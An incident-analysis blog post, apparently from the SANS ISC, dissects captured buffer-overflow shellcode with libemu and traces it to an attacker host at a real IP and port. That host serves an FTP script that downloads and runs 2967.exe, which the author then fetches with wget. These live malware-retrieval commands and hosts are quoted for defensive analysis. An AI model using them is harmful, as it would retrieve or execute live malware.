Earlier today, an ISC reader sent us a looong capture of what looked like a buffer overflow attack. In between a lot of filler chars used to trigger the overflow was the code block below. 

The obvious quesiton to ask in view of such an attack is "what are they trying to do" and "was it successful". To help you answering these questions next time you find yourself on the receiving end of something like this, here's a quick walk-through on how we went about coming up with the answers.

1. Prune the capture to remove the part that is "filler"  (iE all the kkkkllllll in the capture shown)

2. Convert the remaining capture into a binary file.  Here's how I do it:

cat a.txt | cut -b 11-58 | perl -pe 's/(..)\s+/chr(hex($1))/ge' > a.bin

The "cut" command strips out the address to the left and the printed characters to the right, and only leaves the HEX codes, which then are converted by the perl instruction into single byte characters and written into a file that I called "a.bin"

3.  Next, use the "sctest" tool of libemu to try and make sense of the code block. Libemu doesn't always work on such code, but IF it works, it is doing such a stellar job that I'm always trying libemu/sctest first before loading the code into Ollydbg or Objdump for manual analysis.  In this case, we're lucky: sctest makes quick work of the code, and we see that the "connect" function of WinSock is used to establish an outbound TCP connection on port 78.

$sctest -Sgs 10000 < a.bin
success offset = 0x00000031
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(0)
stepcount 8189
[....]
             DWORD dwProcessId = 4712;
             DWORD dwThreadId = 4714;
         };
) =  -1;
int connect (
     SOCKET s = 66;
     struct sockaddr_in * name = 0x0041714a =>
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 19968 (port=78);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 118898138 (host=218.61.22.7);
             };
             char sin_zero = "       ";
         };
     int namelen = 16;

[...]
 

4. Let's connect to the address and port that libemu so nicely revealed ... and lookie, we get an FTP script that downloads and starts an EXE from 3322.orrrg (org changed to orrrg to keep you from clicking :)

$nc 218.61.22.7 78
echo open a528.3322.orrrg>1.txt
echo 2967>>1.txt
echo 2967>>1.txt
echo binary>>1.txt
echo get 2967.exe>>1.txt
echo bye>>1.txt
ftp -s:1.txt
2967.exe
2967.exe
2967.exe
del 1.txt
exit
^C

5. Next, we fetch the malware manually

 $wget "ftp://2967:2967@a528.3322.orrrg/2967.exe"
[....]

6. Lastly, we analyze 2967.exe with tools like Virustotal (result) ThreatExpert (result) .

Thus, if this had been directed at a server of yours, you would now check the firewall log (IDS, flow log, etc) for an outbound connection attempt to port 78. If nothing is found, the exploit wasn't successful. If you see the connection to port 78 and it went through (for example because you allow all ports outbound) the next step is to check for the FTP. If the FTP completed as well, you know it is time to re-build that server.

And yes, adding the 3322-dot-org domain to your block list would be a good idea. As you can tell from this diary that we published in 2007, it is by far not the first time that this domain shows up on our malware radar ... and the ThreatExpert report included above contains yet another reason to zap this domain and all its subdomains.

Careful: All the badies are still live at this time, shoot your foot at your own risk.

Update: Yes we're aware that 3322-dot-org is a dyndns provider and also hosts harmless content. In view of the amount of malware coming from there for the past two years though, I'd say: block it, and whitelist those very few subdomains that you really need (if any).